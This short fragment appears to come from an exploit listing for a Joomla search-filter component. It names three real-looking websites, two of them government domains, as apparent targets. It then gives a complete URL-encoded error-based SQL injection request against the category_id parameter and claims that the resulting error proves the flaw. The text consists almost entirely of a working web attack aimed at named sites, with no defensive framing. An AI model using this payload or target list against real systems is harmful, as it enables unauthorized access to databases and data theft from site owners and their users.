http://sherdoust.ir/ http://www.arhitektura.mrt.gov.me/ http://www.cmvcapanema.pr.gov.br/ (WhateverSite)/index.php?category_id=(select%201%20and%20row(1%2c1)%3E(select%20count(*)%2cconcat(concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(117)%2cCHAR(82)%2cCHAR(57)%2cCHAR(71)%2cCHAR(65)%2cCHAR(77)%2cCHAR(98)%2cCHAR(77))%2cfloor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%201))&Itemid=135&option=com_jak2filter&searchword=the&view=itemlist&xf_2=5%27 As a result, the following error message is displayed proving the presence of vulnerability.